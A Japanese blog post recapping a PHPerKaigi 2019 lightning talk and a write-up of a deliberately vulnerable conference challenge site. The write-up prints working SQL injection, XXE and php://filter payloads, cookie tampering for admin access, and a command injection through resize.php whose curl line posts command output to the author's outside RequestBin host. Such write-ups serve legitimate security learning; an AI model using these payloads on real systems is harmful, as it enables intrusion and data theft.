#PHPerKaigi 2019 登壇記 + 徳丸浩の挑戦状 Write-up

3/29(金)から3/31(日)にかけて開催されてPHPerKaigiに、スピーカーとして参加しました。
今回はその参加記と、会期中に開催された「PHPerチャレンジ」の一つである「徳丸浩の挑戦状」のWrite-upを書きたいと思います。

LT登壇記

募集を知ってから登壇したところまでをだらだら書きます。
「早くWrite-up見せろ」という方はジャンプしてください

募集を知る

エンジニアの登壇を応援する会で「PHPerKaigiがルーキーズLT募集してるよ!」とアナウンスがあり、存在を知りました。

ルーキーズLTとは

5分でドラを鳴らし、終了します。
勉強会やカンファレンスで初めて発表する方のための枠です。
この枠での採択者の方は3月上旬に開催予定のルーキーズLT練習会に参加することができます。

https://fortee.jp/phperkaigi-2019/speaker/proposal/cfp

扱いは通常のLTなのですが、わざわざこの枠を用意することで初めての登壇を応援してくれる雰囲気を感じられたのと、練習会を用意していただいたのが非常に嬉しかったです。

エントリーする

PHPerKaigiはCfP形式で、プロポーザルを投稿し、後日採択非採択が発表されます。
今までカンファレンスに登壇したことがなかったのなく、登壇してみたい!と思っていました。
当然まだ実務経験はない(やっててもバイトでちょっとくらいな)のでどうしようかなと考えて末にCTFネタを思いつきました。

思い立ったが吉日、以下のプロポーザルでエントリーしました。

CTF (Capture the Flag) は、情報技術のセキュリティ脆弱性を利用して攻略する様々な問題からflagと呼ばれる文字列をできるだけ多く、そして早く獲得するコンテストです。その中にWebセキュリティのジャンルがあり、PHP製アプリケーションも例外なく出題されます。
その難易度も出題によって幅広く、SQLインジェクションなど基礎的な問題から、PHPの仕様を詳しく知らないと解けないような難問まで存在します。
謎解き感覚で楽しくPHPセキュリティを勉強しましょう!

https://fortee.jp/phperkaigi-2019/speaker/proposal/view/d809b49f-51b9-4525-8822-96b90492cfc7

ドキドキの審査でしたが、見事に採択されました!(正直選ばれると思ってなくて驚いた)

スライド作成

それこそ研究室のゼミ発表で使うような資料は何度も作りましたが、カンファレンスLTとなるとだいぶ勝手が違います(個人の感想です)。
これまでにイベントで見てきた資料や自分の勘を頼りに、見よう見まねでスライドを作りました。

スライドはGoogle Docsのプレゼンテーションで作りました。
最初はテーマやマスターガン無視で内容を書いてたのですが、右下の「データ探索」をクリックしたらそれっぽいテーマを提示してくれるというビックリ機能のおかげでいい感じのデザインになりました。

ソースコードのsyntax highlightingは思考停止GitHubカラーリングです。
適当なリポジトリでIssueの新規作成画面を出し、コードを貼ってpreviewすればハイ完成!

あと徳丸さんの挑戦状がらみの内容は前日急遽足しました(笑)。

LT練習会

ルーキーズLT参加者のためにLT練習会を用意していただきました。
最初は参加者全員用意したLTをスタッフの前で発表。全員終わったら個別に直したほうがいいところを教えていただき、修正作業に入る。というやり方でした。

本来は3周くらいする予定だったのですが、所用のため、1周だけやって一足先に抜けてしまいました…
それでも十分すぎる量のアドバイスをいただき、大変参考になりました。

(参考)どんなツッコミがあったか↓

  • TL;DR系はLTならいらないかも
  • 話す時に客席の方をちゃんと見れてる方が良い
  • 1スライドに問題解説のステップを詰めすぎているから、2スライドくらいに分けて考える時間をあげた方がいい
  • (ドキュメント画像貼ってなかったので)ドキュメントを見せると効果的
  • (過去に出題されてたソースをそのまま書いていたので)問題の趣旨が一発でわかるように削減した方が考えやすい

登壇

練習会の後スライドを修正した後、自宅で発表練習した結果4分58秒とかだった(PHPerKaigiのLTは5分で強制終了される)ので、本番喋りきれるかどうか結構焦っていました。
そしてレギュラートークのセッションではA会場B会場と分かれていたパーティションがぶち抜かれ、大部屋での開催になったのも緊張しました(笑)

本番はなかなか早口になってしまいましたが、なんとか時間内に発表しきることに成功しました。
Twitterの反応も好感触でよかったです。「これはLTじゃなくてレギュラートークで聞きたい」とか「発表がかっこいい」とか見ちゃうと嬉しくて跳び上がっちゃいますね!
あと何より「CTFしらなかった」「やってみたい」という声を見れたので、登壇した甲斐がありました。

スタッフの皆様、そして聞いてくださった皆様、ありがとうございました!

徳丸浩の挑戦状 Write-up

PHPerチャレンジ

PHPerKaigi会期中に開催されていた企画です。

PHPerチャレンジは会場内外に隠された「PHPerトークン」を探しだし、イベントサイトに入力して得られたスコアを競う企画です。 PHPerトークンは「記号の# + 任意の文字列」の形をしています。

http://phperkaigi.hatenablog.com/entry/2019/03/06/151904

具体的には会場、各スポンサーのブログ、そして「徳丸浩の挑戦状」にトークンが隠されていました。
かなり量が多く、休憩中も飽きずに楽しむことができました。

徳丸浩の挑戦状

徳丸本でおなじみの徳丸浩さんが用意してくださった脆弱なWebサイトの中に、PHPerトークンが仕込まれていました。

イントロダクション(/index.html)

トークンは全部で5つありました。
でも後で「1つ追加された!」っていうアナウンスを聞いて最後まで見つからなかったのですが、まさかこのページに書いてある#xxxx-9999だとは思わないじゃんかよーーーー!!

Write-up

1. robots.txt

Web問題、とりあえずやるのはHTMLコメントとHTTPヘッダとrobots.txtの確認ですよね!
というわけでrobots.txtを見ました。

User-agent : *
Disallow : /pma/

お。

/pma/にアクセスした結果、トークンを発見

おぉ〜。

2. SQL injection

元のページに戻ると、あらかじめフォームにIDとPWが埋めてあるログイン画面が出てきます。

ログイン画面(/todo/login.php)

どうしても正規ログインする前にSQLiをしたかったので、衝動に従います。

パスワードに”‘ OR 1=1 — “をセットしてログインしてみる

これは余談ですが、DBによってコメントの扱いが違うので、”#”(ハッシュ)よりも”– “(ハイフン2つにスペース)をつけた方が以降の文字列をコメントとしてパースしてくれる確率が上がります。

ログインすると、

こんにちは、#sqli-3830 さん

と表示されました。

3. Directory Listing

今度は正規のIDでログインしました。
するとTODOリスト一覧が出てきます。

ログイン後に出てくるTODOリスト(/todo/todoilst.php)

この添付ファイルにあるmemo.txtを開くと、ただのテキストファイルが表示されます。
このときのURLは/todo/attachment/memo.txtでした。

ここで気になるのは/todo/attachment/にアクセスした時の結果です。

/todo/attachment/にアクセスした結果

見事、Directory Listingが出てきました。
flag.txtを開いて、

Congratulations!

#listing-2452

ゲットだぜ。

4. XXE (XML External Entity)

先ほどの同ディレクトリにあるnext-task.txtには以下のように書かれていました。

XXEを試して /etc/hosts を読み込め
XXEについては下記を参照せよ

https://blog.tokumaru.org/2017/12/introduction-to-xxe-for-php-programmers.html

XXEは知らなかったのでありがたいヒントでした。
詳しくはここに書いてある通り徳丸さんのブログを参照してください。
https://blog.tokumaru.org/2017/12/introduction-to-xxe-for-php-programmers.html

問題サイトの「エクスポート」画面では、一覧に出てくるTODOリストがXMLとしてダウンロードできます。

<?xml version="1.0" encoding="UTF-8"?>
<todolist>
  <todo>
    <owner>challenger</owner>
    <subject>依頼の原稿を書く</subject>
    <c_date>2019-03-25</c_date>
    <due_date>2019-04-05</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
  <todo>
    <owner>challenger</owner>
    <subject>検索クローラーの制御ファイルについて学ぶ</subject>
    <c_date>2019-03-25</c_date>
    <due_date>2019-03-31</due_date>
    <done>0</done>
    <public>0</public>
  </todo>
</todolist>

これをXXE仕様に編集して、インポートさせます。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/hosts">
]>
<todolist>
  <todo>
    <owner>challenger</owner>
    <subject>&pass;</subject>
    <c_date>2019-03-25</c_date>
    <due_date>2019-04-05</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
</todolist>

これで/etc/passwdの中身がゲットできました。

#hosts-2809を獲得

5. Cookie書き換えによる権限昇格

challengerでログインした時のCookieは以下のようになっていました。

TODOSESSID = 764n0s0h6pid7th1n4ogunolou
USER = %7B%22id%22%3A%222%22%2C%22userid%22%3A%22challenger%22%2C%22super%22%3Afalse%7D

デコードするまでもなく、USERが怪しい。
適当にuserid=admin、super=trueにしてリロードしてみます。

#auth-8543

5つ目のトークンゲット。これで全部です。

6. 5の別解

※curlで解く方が楽だったのでcurlでの解法を記します。慣れていない人にとっては見づらいですがご容赦ください

まずはログインしてCookieを生成します。(念のためドメインは伏せています)

curl -c cookiejar.txt -b cookiejar.txt -d "userid=challenger&pwd=osimircepiat&url=todolist.php" 'http://challenge.server/todo/logindo.php?'

つづいて、TODO一覧ページ(todolist.php)にあった、選択エクスポートのリクエストを発行します。

curl -vc cookiejar.txt -b cookiejar.txt -d "id[]=1&process=exportlist" http://challenge.server/todo/editlist.php

すると、リダイレクトが発生していました。

Location: exportdo.php?query=eyJzcWwiOiJ0b2Rvcy5pZCBJTiAoOmlkXzApIiwia2V5cyI6eyI6aWRfMCI6IjEifX0=

あ〜めちゃめちゃ怪しいbase64。
デコードすると

{"sql":"todos.id IN (:id_0)","keys":{":id_0":"1"}}

このkeysの値をいじってしまえば任意のIDのTODOが落とせてしまいそうですね。
現に、”1″を”4″に書き換えてリクエストを発行すると答えが出ました。

$ curl http://challenge.server/todo/exportdo.php\?query\=$(echo '{"sql":"todos.id IN (:id_0)","keys":{":id_0":"4"}}' | base64)
<?xml version="1.0" encoding="UTF-8"?>
<todolist>
  <todo>
    <owner>admin</owner>
    <subject>#auth-8543</subject>
    <c_date>2019-03-27</c_date>
    <due_date>2019-04-01</due_date>
    <done>0</done>
    <public>0</public>
  </todo>
</todolist>

7. その先へ… -任意コード実行-

解いてる時は一体いくつトークンがあるのか知らなかったので、まだあるんだろうと決めつけてずっと解いていました。

…結果、任意コマンドが実行できるようになってしまいました(笑)
その方法を書きたいと思います(これでガサ入れされたら察してください)

XXEで任意のファイルを読ませる解法がありました。

<!ENTITY pass SYSTEM "/etc/hosts">

ここでphpファイルを読ませようとしても、何も表示されません。
解説の際に徳丸さんがおっしゃっていたのですが、XMLとして正しくないタグをPHPソース内で認識していたことが原因のようです。

<!ENTITY pass SYSTEM "todolist.php">

これをすり抜けるために、php://filterを使います。
詳しくは私のブログを参照してください(宣伝)。
https://www.ryotosaito.com/blog/?p=112

<!ENTITY pass SYSTEM "php://filter/convert.base64-encode/resource=todolist.php">

先ほどの代わりにこのEntityを用いてインポートさせると、

文字列が右にはみ出している

長々とbase64されたtodolist.phpのソースが出力されます。
これを他のphpファイルでも行い、全てデコードするとソース全体が入手できるわけです。
これにより、パスがわかっている全てのソースを落としてくることができます。

ここでresize.phpが気になりました。
これは画像をリサイズし、そのままjpegとして返すエンドポイントです。

<?php
  $path = $_GET['path'];
  $basename = $_GET['basename'];
  $file = "$path/$basename";
  $size = 0;
  if (isset($_GET['size'])) {
    $size = $_GET['size'];
    $xfile = "$path/_${size}_$basename";
    if (! file_exists($xfile)) {
       copy($file, $xfile);
       // 当初ImageMagicを使っていたがあまりにサイズが大きいのでimgpに変更
       // error_log("imgp -x {$size}x{$size} -w {$xfile}");
       exec("imgp -x {$size}x{$size} -w {$xfile}");
    }
  } else {
    $xfile = $file;
  }
  
  header("Content-Type: image/jpg");
  header("Content-Length: " . @filesize($xfile));
  @readfile($xfile);
  // todo : Content-Typeの切り替え 

ファイルの中でexec()を実行しています。
なんとかしてここで任意コマンドを実行したい。

ここで動作に重要な部分にフォーカスします。

$path = $_GET['path'];
$basename = $_GET['basename'];
$file = "$path/$basename";
$size = $_GET['size'];
$xfile = "$path/_${size}_$basename";
exec("imgp -x {$size}x{$size} -w {$xfile}");

imgp -x {$size}x{$size} -w {$xfile}を実行するにあたって、もし{$xfile}の中にセミコロンがあったらどうなるか?
当然ですが、セミコロンの前後で別のコマンドとして認識されてしまいます。
したがって、$_GET['basename']の中にセミコロンを打って、そのあとに実行したいコマンドを打てば良いわけです。

具体的には、http://challenge.server/todo/resize.php?path=icons&basename=%3Bls&size=64にアクセスすると、%3Bがセミコロンなのでlsを実行してくれます。
ただ、execはstringを返す関数なので、ここでは実行結果を確認することができません。

次に、実行結果を取得する方法を考えます。
ここで、RequestBinというパッケージを使います。
これは指定したパスにアクセスすると200 OKだけ返すHTTPサーバですが、別のパスからアクセスするとどんなリクエストが飛んできたか、その中身を全て見ることができるすこいやつです。
サーバがなくてもHerokuで簡単にデプロイできます。

手元のcurlからアクセスすると、そのヘッダがちゃんと履歴に表示される

このRequestBinに、コマンドの実行結果をtext/plainとしてPOSTさせることを思いつきました。
例えば、以下のコマンドは自分のRequestBinにls -al /の実行結果をテキストとしてPOSTします。

curl -H "Content-Type: text/plain" --data-binary "$(ls -al /)"  https://my.request.bin/1l58e251

これの先頭にセミコロンをつけて、URLエンコードします。

%3Bcurl+-H+%22Content-Type%3A+text%2Fplain%22+--data-binary+%22%24%28ls+-al+%2F%29%22++https%3A%2F%2Fmy.request.bin%2F1l58e251

あとは、これをbasenameパラメータに挿入した以下のURLにアクセスすればおしまいです。

http://challenge.server/todo/resize.php?path=icons&size=60&basename=%3Bcurl+-H+%22Content-Type%3A+text%2Fplain%22+--data-binary+%22%24%28ls+-al+%2F%29%22++https%3A%2F%2Fmy.request.bin%2F1l58e251
ls -al /が実行できた

これで実質どんなコマンドも実行できるようになりました(これを使って踏み台攻撃は絶対にしないでください)。
Working directoryはtodoアプリのルートですので、ls -alRを打てばどんなファイルがあったのか全部わかりました。明らかなボツファイルとか見えちゃいましたが…
また、common.phpにあるDB認証情報を使ってmysqldumpもできました。が、ここもこれといって重要な情報はありませんでした。(トークンは5個なのでそれはそう)

まとめ

登壇もPHPerチャレンジもめちゃめちゃ楽しかったです!
来年も参加したい!

#PHPerKaigi 2019 登壇記 + 徳丸浩の挑戦状 Write-up」への1件のフィードバック

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です